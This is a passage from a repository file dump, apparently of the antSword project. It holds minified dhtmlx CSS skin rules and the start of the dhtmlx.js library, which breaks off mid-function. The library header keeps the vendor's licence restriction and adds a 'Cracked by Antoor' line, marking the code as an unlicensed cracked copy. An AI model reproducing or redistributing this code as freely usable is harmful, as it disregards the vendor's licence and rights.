div.dhxwin_btns div.dhxwin_button.dhxwin_button_close{background-position:-15px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_close_dis{background-position:-15px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_minmax{background-position:-30px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_minmax_dis{background-position:-30px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_minmaxed{background-position:-45px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_minmaxed_dis{background-position:-45px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_park{background-position:-60px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_park_dis{background-position:-60px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_stick{background-position:-75px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_stick_dis{background-position:-75px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_sticked{background-position:-90px 0;background-color:#a4bed4!important;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_sticked_dis{background-position:-90px -15px;background-color:#f0f0f0!important;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_help{background-position:-105px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_help_dis{background-position:-105px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_dock{background-position:-120px 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_dock_dis{background-position:-120px -15px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd_touch,.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd{box-shadow:0 0 3px #cececf;}.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd_touch{border-color:#6c94b4;box-shadow:0 0 14px #a4b9cb;-webkit-touch-callout:none;-webkit-user-select:none;}.dhxwins_vp_dhx_skyblue.dhxwins_vp_dnd{cursor:move!important;}.dhxwins_vp_dhx_skyblue div.dhxwin_resize{position:absolute;background-color:#d3e6fe;border-radius:3px;opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);}.dhxwins_vp_dhx_skyblue iframe.dhxwin_resize_fr_cover{position:absolute;background-color:white;border-radius:3px;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxwins_vp_dhx_skyblue div.dhxwins_mcover{position:absolute;background-color:#e5f0fd;left:0;top:0;width:100%;height:100%;opacity:.53;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=53);}.dhxwins_vp_dhx_skyblue iframe.dhxwins_mcover{position:absolute;background-color:white;left:0;top:0;width:100%;height:100%;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins{position:absolute;background-color:#fff;margin:0;padding:0;overflow:hidden;cursor:default;visibility:visible;z-index:1;opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins.dhxwin_parked,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins.dhxwin_parked{visibility:hidden;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cover,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cover{position:absolute;left:0;top:0;width:100%;height:100%;margin:0;padding:0;font-size:1px;background-color:white;overflow:hidden;z-index:1;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins{position:absolute;border:1px solid #fff;background-color:#fff;overflow:hidden;z-index:0;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_cont_no_borders,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_cont_no_borders{border:0 solid #fff!important;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_menu_def,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_menu_def{position:relative;overflow:hidden;border-bottom:1px solid #d3e6fe;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_def,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_def{position:relative;overflow:hidden;padding:1px 1px 0 1px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{position:relative;border-top-width:1px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_no_borders div.dhx_toolbar_dhx_skyblue,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_no_borders div.dhx_toolbar_dhx_skyblue{position:relative;border-top-width:1px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_ribbon_def,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_ribbon_def{padding:1px 1px 0 1px;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;font-family:Tahoma,Helvetica;font-size:11px;color:black;background-color:#d3e6fe;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;white-space:nowrap;overflow:hidden;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_statusbar_attached,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_statusbar_attached{border-radius:0;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_progress_bar,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#fff;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);z-index:1;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_progress_img,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url(\"imgs/dhxwins_skyblue/dhxwins_progress.gif\");background-position:center center;background-repeat:no-repeat;z-index:2;}.dhxwins_vp_auto{overflow:auto!important;}.dhxwins_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}div.dhxwins_vp_dhx_skyblue.dhxwins_vp_fs{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;}.dhtmlx_message_area{position:fixed;right:5px;width:250px;z-index:1000;padding:0;}.dhtmlx-info{color:#444;border-radius:4px;min-width:120px;padding:10px 10px 10px 20px;background-color:#FFC;font-size:12px;font-family:Tahoma;z-index:10000;margin:0 5px 5px 5px;border:1px solid #d3d3d3;box-shadow:0 0 5px #ccc;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;transition:all .5s ease;}.dhtmlx-info.hidden{height:0;padding-bottom:0;padding-top:0;border-width:0;margin-top:0;margin-bottom:0;overflow:hidden;}.dhtmlx-error{background-color:#f17373;color:#fff;}.dhtmlx_modal_box{overflow:hidden;display:inline-block;min-width:300px;width:300px;text-align:center;position:fixed;background-color:#fff;z-index:20000;-moz-box-shadow:0 0 5px #AAA;-webkit-box-shadow:0 0 0 #AAA;box-shadow:0 0 5px #AAA;border:1px solid #a4bed4;border-radius:6px;}.dhtmlx_popup_title{padding:5px 0;font-size:12px;-webkit-border-top-right-radius:6px;-webkit-border-top-left-radius:6px;border-radius-top-right:6px;line-height:16px;font-family:Tahoma;font-weight:bold;}.dhtmlx-info,.dhtmlx_popup_title,.dhtmlx_popup_button{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none;-moz-user-select:-moz-none;cursor:pointer;}.dhtmlx_popup_text{font-size:13px;font-family:Tahoma;color:#444;min-height:30px;padding:20px 10px 10px 10px!important;overflow:hidden;}.dhtmlx_popup_controls{font-family:Tahoma;font-weight:bold;padding:10px 10px 17px 10px!important;}.dhtmlx_popup_button{font-size:12px;font-family:Tahoma;font-weight:bold;min-width:120px;width:120px;height:20px;display:inline-block;margin:0 5px;border-radius:4px;}.dhtmlx_popup_button div{line-height:20px;}div.dhx_modal_cover{background-color:#000;cursor:default;opacity:.2;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=20);position:fixed;z-index:19999;left:0;top:0;width:100%;height:100%;border:none;zoom:1;}.dhtmlx_popup_button{color:#2e3947;text-shadow:0 1px 0 #fff;border:1px solid #a4bed4;background-color:#d5e6fc;background-image:-moz-linear-gradient(center bottom,#e1eeff 0,#cce2fe 12%,#ecf2f7 100%);background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0.00,#ecf2f7),color-stop(0.88,#cce2fe),color-stop(1.00,#e1eeff));background:-o-linear-gradient(top,#e1eeff,#cce2fe 12%,#ecf2f7);background:linear-gradient(top,#e1eeff,#cce2fe 12%,#ecf2f7);background:-ms-linear-gradient(top,#e1eeff 0,#cce2fe 12%,#ecf2f7 100%);}.dhtmlx_popup_button:active,.dhtmlx_popup_button:focus{box-shadow:inset 0 0 2px #aaa;background:#bdd9fc;background:-moz-linear-gradient(top,#C4DDFF 0,#bdd9fc 88%,#deeaf4 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#C4DDFF),color-stop(88%,#bdd9fc),color-stop(100%,#deeaf4));background:-o-linear-gradient(top,#C4DDFF 0,#bdd9fc 88%,#deeaf4 100%);background:-ms-linear-gradient(top,#C4DDFF 0,#bdd9fc 88%,#deeaf4 100%);background:linear-gradient(top,#C4DDFF 0,#bdd9fc 88%,#deeaf4 100%);}.dhtmlx_popup_title{box-shadow:inset 0 0 2px #fff;display:block;}.dhtmlx-alert-error .dhtmlx_popup_title,.dhtmlx-confirm-error .dhtmlx_popup_title{color:white;border:1px solid #f17373;background:#f17373;background:-webkit-linear-gradient(top,#ff7c7c,#f17373 88%,#ff7361);background:-moz-linear-gradient(top,#ff7c7c,#f17373 88%,#ff7361);background:-o-linear-gradient(top,#ff7c7c,#f17373 88%,#ff7361);background:linear-gradient(top,#ff7c7c,#f17373 88%,#ff7361);background:-ms-linear-gradient(top,#ff7c7c 0,#f17373 88%,#ffbc75 100%);}.dhtmlx-alert-error.dhtmlx_modal_box,.dhtmlx-confirm-error.dhtmlx_modal_box{border:1px solid #f17373;}.dhtmlx-alert-warning .dhtmlx_popup_title,.dhtmlx-confirm-warning .dhtmlx_popup_title{color:#000;border:1px solid #d2b07f;background:#ff9f37;background:-webkit-linear-gradient(top,#ffc786,#ff9523 88%,#ffbc75);background:-moz-linear-gradient(top,#ffc786,#ff9523 88%,#ffbc75);background:-o-linear-gradient(top,#ffc786,#ff9523 88%,#ffbc75);background:linear-gradient(top,#ffc786,#ff9523 88%,#ffbc75);background:-ms-linear-gradient(top,#ffc786 0,#ff9523 88%,#ffbc75 100%);}.dhtmlx-alert-warning .dhtmlx_popup_controls,.dhtmlx-confirm-warning .dhtmlx_popup_controls{border:1px solid #d5d5d5;border-width:0 1px 1px 1px;}.dhtmlx-alert-warning .dhtmlx_popup_text,.dhtmlx-confirm-warning .dhtmlx_popup_text{border:1px solid #d5d5d5;border-width:0 1px 0 1px;}.dhtmlx-alert .dhtmlx_popup_title,.dhtmlx-confirm .dhtmlx_popup_title{color:#000;border:1px solid #a4bed4;background:#d5e6fc;background:-moz-linear-gradient(center bottom,#e1eeff 0,#cce2fe 12%,#ecf2f7 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0.00,#ecf2f7),color-stop(0.88,#cce2fe),color-stop(1.00,#e1eeff));background:-o-linear-gradient(top,#e1eeff,#cce2fe 12%,#ecf2f7);background:linear-gradient(top,#e1eeff,#cce2fe 12%,#ecf2f7);background:-ms-linear-gradient(top,#e1eeff 0,#cce2fe 12%,#ecf2f7 100%);}.dhtmlx-alert .dhtmlx_popup_controls,.dhtmlx-confirm .dhtmlx_popup_controls{border:1px solid #d5d5d5;border-width:0 1px 1px 1px;}.dhtmlx-alert .dhtmlx_popup_text,.dhtmlx-confirm .dhtmlx_popup_text{border:1px solid #d5d5d5;border-width:0 1px 0 1px;}"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/dhtmlx.js",
    "content": "/*\n===================================================================\nCopyright UAB Dinamenta. http://www.dhtmlx.com\nThis code is obfuscated and not allowed for any purposes except \nusing on sites which belongs to UAB Dinamenta.\n\nPlease contact sales@dhtmlx.com to obtain necessary \nlicense for usage of dhtmlx components.\n[*] Cracked by Antoor<http://weibo.com/antoor> :)\n===================================================================\n*/\n\nif(typeof(window.dhx4)==\"undefined\"){window.dhx4={version:\"4.4\",skin:null,skinDetect:function(a){return{10:\"dhx_skyblue\",20:\"dhx_web\",30:\"dhx_terrace\"}[this.readFromCss(a+\"_skin_detect\")]||null},readFromCss:function(e,g){var c=document.createElement(\"DIV\");c.className=e;if(document.body.firstChild!=null){document.body.insertBefore(c,document.body.firstChild)}else{document.body.appendChild(c)}var a=c[g||\"offsetWidth\"];c.parentNode.removeChild(c);c=null;return a},lastId:1,newId:function(){return this.lastId++},zim:{data:{},step:5,first:function(){return 100},last:function(){var e=this.first();for(var c in this.data){e=Math.max(e,this.data[c])}return e},reserve:function(a){this.data[a]=this.last()+this.step;return this.data[a]},clear:function(a){if(this.data[a]!=null){this.data[a]=null;delete this.data[a]}}},s2b:function(a){if(typeof(a)==\"string\"){a=a.toLowerCase()}return(a==true||a==1||a==\"true\"||a==\"1\"||a==\"yes\"||a==\"y\"||a==\"on\")},s2j:function(s){var obj=null;dhx4.temp=null;try{eval(\"dhx4.temp=\"+s)}catch(e){dhx4.temp=null}obj=dhx4.temp;dhx4.temp=null;return obj},absLeft:function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}return this.getOffset(a).left},absTop:function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}return this.getOffset(a).top},_aOfs:function(a){var e=0,c=0;while(a){e=e+parseInt(a.offsetTop);c=c+parseInt(a.offsetLeft);a=a.offsetParent}return{top:e,left:c}},_aOfsRect:function(g){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{top:Math.round(q),left:Math.round(e)}},getOffset:function(a){if(a.getBoundingClientRect){return this._aOfsRect(a)}else{return this._aOfs(a)}},_isObj:function(a){return(a!=null&&typeof(a)==\"object\"&&typeof(a.length)==\"undefined\")},_copyObj:function(g){if(this._isObj(g)){var e={};for(var c in g){if(typeof(g[c])==\"object\"&&g[c]!=null){e[c]=this._copyObj(g[c])}else{e[c]=g[c]}}}else{var e=[];for(var c=0;c<g.length;c++){if(typeof(g[c])==\"object\"&&g[c]!=null){e[c]=this._copyObj(g[c])}else{e[c]=g[c]}}}return e},screenDim:function(){var a=(navigator.userAgent.indexOf(\"MSIE\")>=0);var c={};c.left=document.body.scrollLeft;c.right=c.left+(window.innerWidth||document.body.clientWidth);c.top=Math.max((a?document.documentElement:document.getElementsByTagName(\"html\")[0]).scrollTop,document.body.scrollTop);c.bottom=c.top+(a?Math.max(document.documentElement.clientHeight||0,document.documentElement.offsetHeight||0):window.innerHeight);return c},selectTextRange:function(h,m,c){h=(typeof(h)==\"string\"?document.getElementById(h):h);var a=h.value.length;m=Math.max(Math.min(m,a),0);c=Math.min(c,a);if(h.setSelectionRange){try{h.setSelectionRange(m,c)}catch(l){}}else{if(h.createTextRange){var g=h.createTextRange();g.moveStart(\"character\",m);g.moveEnd(\"character\",c-a);try{g.select()}catch(l){}}}},transData:null,transDetect:function(){if(this.transData==null){this.transData={transProp:false,transEv:null};var e={MozTransition:\"transitionend\",WebkitTransition:\"webkitTransitionEnd\",OTransition:\"oTransitionEnd\",msTransition:\"transitionend\",transition:\"transitionend\"};for(var c in e){if(this.transData.transProp==false&&document.documentElement.style[c]!=null){this.transData.transProp=c;this.transData.transEv=e[c]}}e=null}return this.transData},_xmlNodeValue:function(a){var e=\"\";for(var c=0;c<a.childNodes.length;c++){e+=(a.childNodes[c].nodeValue!=null?a.childNodes[c].nodeValue.toString().replace(/^[\\n\\r\\s]{0,}/,\"\").replace(/[\\n\\r\\s]{0,}$/,\"\"):\"\")}return e}};window.dhx4.isIE=(navigator.userAgent.indexOf(\"MSIE\")>=0||navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE6=(window.XMLHttpRequest==null&&navigator.userAgent.indexOf(\"MSIE\")>=0);window.dhx4.isIE7=(navigator.userAgent.indexOf(\"MSIE 7.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")<0);window.dhx4.isIE8=(navigator.userAgent.indexOf(\"MSIE 8.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE9=(navigator.userAgent.indexOf(\"MSIE 9.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE10=(navigator.userAgent.indexOf(\"MSIE 10.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0&&window.navigator.pointerEnabled!=true);window.dhx4.isIE11=(navigator.userAgent.indexOf(\"Trident\")>=0&&window.navigator.pointerEnabled==true);window.dhx4.isEdge=(navigator.userAgent.indexOf(\"Edge\")>=0);window.dhx4.isOpera=(navigator.userAgent.indexOf(\"Opera\")>=0);window.dhx4.isChrome=(navigator.userAgent.indexOf(\"Chrome\")>=0)&&!window.dhx4.isEdge;window.dhx4.isKHTML=(navigator.userAgent.indexOf(\"Safari\")>=0||navigator.userAgent.indexOf(\"Konqueror\")>=0)&&!window.dhx4.isEdge;window.dhx4.isFF=(navigator.userAgent.indexOf(\"Firefox\")>=0);window.dhx4.isIPad=(navigator.userAgent.search(/iPad/gi)>=0);window.dhx4.dnd={evs:{},p_en:((window.dhx4.isIE||window.dhx4.isEdge)&&(window.navigator.pointerEnabled||window.navigator.msPointerEnabled)),_mTouch:function(a){return(window.dhx4.isIE10&&a.pointerType==a.MSPOINTER_TYPE_MOUSE||window.dhx4.isIE11&&a.pointerType==\"mouse\"||window.dhx4.isEdge&&a.pointerType==\"mouse\")},_touchOn:function(a){if(a==null){a=document.body}a.style.touchAction=a.style.msTouchAction=\"\";a=null},_touchOff:function(a){if(a==null){a=document.body}a.style.touchAction=a.style.msTouchAction=\"none\";a=null}};if(window.navigator.pointerEnabled==true){window.dhx4.dnd.evs={start:\"pointerdown\",move:\"pointermove\",end:\"pointerup\"}}else{if(window.navigator.msPointerEnabled==true){window.dhx4.dnd.evs={start:\"MSPointerDown\",move:\"MSPointerMove\",end:\"MSPointerUp\"}}else{if(typeof(window.addEventListener)!=\"undefined\"){window.dhx4.dnd.evs={start:\"touchstart\",move:\"touchmove\",end:\"touchend\"}}}}}if(typeof(window.dhx4.template)==\"undefined\"){window.dhx4.trim=function(a){return String(a).replace(/^\\s{1,}/,\"\").replace(/\\s{1,}$/,\"\")};window.dhx4.template=function(c,e,a){return c.replace(/#([a-z0-9_-]{1,})(\\|([^#]*))?#/gi,function(){var m=arguments[1];var l=window.dhx4.trim(arguments[3]);var n=null;var h=[e[m]];if(l.length>0){l=l.split(\":\");var g=[];for(var o=0;o<l.length;o++){if(o>0&&g[g.length-1].match(/\\\\$/)!=null){g[g.length-1]=g[g.length-1].replace(/\\\\$/,\"\")+\":\"+l[o]}else{g.push(l[o])}}n=g[0];for(var o=1;o<g.length;o++){h.push(g[o])}}if(typeof(n)==\"string\"&&typeof(window.dhx4.template[n])==\"function\"){return window.dhx4.template[n].apply(window.dhx4.template,h)}if(m.length>0&&typeof(e[m])!=\"undefined\"){if(a==true){return window.dhx4.trim(e[m])}return String(e[m])}return\"\"})};window.dhx4.template.date=function(a,c){if(a!=null){if(a instanceof Date){return window.dhx4.date2str(a,c)}else{a=a.toString();if(a.match(/^\\d*$/)!=null){return window.dhx4.date2str(new Date(parseInt(a)),c)}return a}}return\"\"};window.dhx4.template.maxlength=function(c,a){return String(c).substr(0,a)};window.dhx4.template.number_format=function(g,h,e,a){var c=window.dhx4.template._parseFmt(h,e,a);if(c==false){return g}return window.dhx4.template._getFmtValue(g,c)};window.dhx4.template.lowercase=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}return String(a).toLowerCase()};window.dhx4.template.uppercase=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}return String(a).toUpperCase()};window.dhx4.template._parseFmt=function(m,e,a){var g=m.match(/^([^\\.\\,0-9]*)([0\\.\\,]*)([^\\.\\,0-9]*)/);if(g==null||g.length!=4){return false}var c={i_len:false,i_sep:(typeof(e)==\"string\"?e:\",\"),d_len:false,d_sep:(typeof(a)==\"string\"?a:\".\"),s_bef:(typeof(g[1])==\"string\"?g[1]:\"\"),s_aft:(typeof(g[3])==\"string\"?g[3]:\"\")};var l=g[2].split(\".\");if(l[1]!=null){c.d_len=l[1].length}var h=l[0].split(\",\");if(h.length>1){c.i_len=h[h.length-1].length}return c};window.dhx4.template._getFmtValue=function(value,fmt){var r=String(value).match(/^(-)?([0-9]{1,})(\\.([0-9]{1,}))?$/);if(r!=null&&r.length==5){var v0=\"\";if(r[1]!=null){v0+=r[1]}v0+=fmt.s_bef;if(fmt.i_len!==false){var i=0;var v1=\"\";for(var q=r[2].length-1;q>=0;q--){v1=\"\"+r[2].charAt(q)+v1;if(++i==fmt.i_len&&q>0){v1=fmt.i_sep+v1;i=0}}v0+=v1}else{v0+=r[2]}if(fmt.d_len!==false){if(r[4]==null){r[4]=\"\"}while(r[4].length<fmt.d_len){r[4]+=\"0\"}eval(\"dhx4.temp = new RegExp(/\\\\d{\"+fmt.d_len+\"}/);\");var t1=(r[4]).match(dhx4.temp);if(t1!=null){v0+=fmt.d_sep+t1}dhx4.temp=t1=null}v0+=fmt.s_aft;return v0}return value}}if(typeof(window.dhx4.dateLang)==\"undefined\"){window.dhx4.dateLang=\"en\";window.dhx4.dateStrings={en:{monthFullName:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],monthShortName:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],dayFullName:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],dayShortName:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"]}};window.dhx4.dateFormat={en:\"%Y-%m-%d\"};window.dhx4.date2str=function(l,g,a){if(g==null||typeof(g)==\"undefnied\"){g=window.dhx4.dateFormat[window.dhx4.dateLang]}if(a==null||typeof(a)==\"undefnied\"){a=window.dhx4.dateStrings[window.dhx4.dateLang]}if(l instanceof Date){var h=function(m){return(String(m).length==1?\"0\"+String(m):m)};var c=function(o){switch(o){case\"%d\":return h(l.getDate());case\"%j\":return l.getDate();case\"%D\":return a.dayShortName[l.getDay()];case\"%l\":return a.dayFullName[l.getDay()];case\"%m\":return h(l.getMonth()+1);case\"%n\":return l.getMonth()+1;case\"%M\":return a.monthShortName[l.getMonth()];case\"%F\":return a.monthFullName[l.getMonth()];case\"%y\":return h(l.getYear()%100);case\"%Y\":return l.getFullYear();case\"%g\":return(l.getHours()+11)%12+1;case\"%h\":return h((l.getHours()+11)%12+1);case\"%G\":return l.getHours();case\"%H\":return h(l.getHours());case\"%i\":return h(l.getMinutes());case\"%s\":return h(l.getSeconds());case\"%a\":return(l.getHours()>11?\"pm\":\"am\");case\"%A\":return(l.getHours()>11?\"PM\":\"AM\");case\"%%\":return\"%\";case\"%u\":return l.getMilliseconds();case\"%P\":if(window.dhx4.temp_calendar!=null&&window.dhx4.temp_calendar.tz!=null){return window.dhx4.temp_calendar.tz}var r=l.getTimezoneOffset();var q=Math.abs(Math.floor(r/60));var n=Math.abs(r)-q*60;return(r>0?\"-\":\"+\")+h(q)+\":\"+h(n);default:return o}};var e=String(g||window.dhx4.dateFormat).replace(/%[a-zA-Z]/g,c)}return(e||String(l))};window.dhx4.str2date=function(l,A,E){if(A==null||typeof(A)==\"undefnied\"){A=window.dhx4.dateFormat[window.dhx4.dateLang]}if(E==null||typeof(E)==\"undefnied\"){E=window.dhx4.dateStrings[window.dhx4.dateLang]}A=A.replace(/[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\\\:|]/g,\"\\\\$&\");var D=[];var o=[];A=A.replace(/%[a-z]/gi,function(e){switch(e){case\"%d\":case\"%m\":case\"%y\":case\"%h\":case\"%H\":case\"%i\":case\"%s\":o.push(e);return\"(\\\\d{2})\";case\"%D\":case\"%l\":case\"%M\":case\"%F\":o.push(e);return\"([a-zéûä\\u0430-\\u044F\\u0451]{1,})\";case\"%j\":case\"%n\":case\"%g\":case\"%G\":o.push(e);return\"(\\\\d{1,2})\";case\"%Y\":o.push(e);return\"(\\\\d{4})\";case\"%a\":o.push(e);return\"([a|p]m)\";case\"%A\":o.push(e);return\"([A|P]M)\";case\"%u\":o.push(e);return\"(\\\\d{1,6})\";case\"%P\":o.push(e);return\"([+-]\\\\d{1,2}:\\\\d{1,2})\"}return e});var F=new RegExp(A,\"i\");var s=l.match(F);if(s==null||s.length-1!=o.length){return\"Invalid Date\"}for(var c=1;c<s.length;c++){D.push(s[c])}var g={\"%y\":1,\"%Y\":1,\"%n\":2,\"%m\":2,\"%M\":2,\"%F\":2,\"%d\":3,\"%j\":3,\"%a\":4,\"%A\":4,\"%H\":5,\"%G\":5,\"%h\":5,\"%g\":5,\"%i\":6,\"%s\":7,\"%u\":7,\"%P\":7};var u={};var n={};for(var c=0;c<o.length;c++){if(typeof(g[o[c]])!=\"undefined\"){var h=g[o[c]];if(!u[h]){u[h]=[];n[h]=[]}u[h].push(D[c]);n[h].push(o[c])}}D=[];o=[];for(var c=1;c<=7;c++){if(u[c]!=null){for(var y=0;y<u[c].length;y++){D.push(u[c][y]);o.push(n[c][y])}}}var a=new Date();a.setDate(1);a.setHours(0);a.setMinutes(0);a.setSeconds(0);a.setMilliseconds(0);var x=function(v,e){for(var r=0;r<e.length;r++){if(e[r].toLowerCase()==v){return r}}return -1};for(var 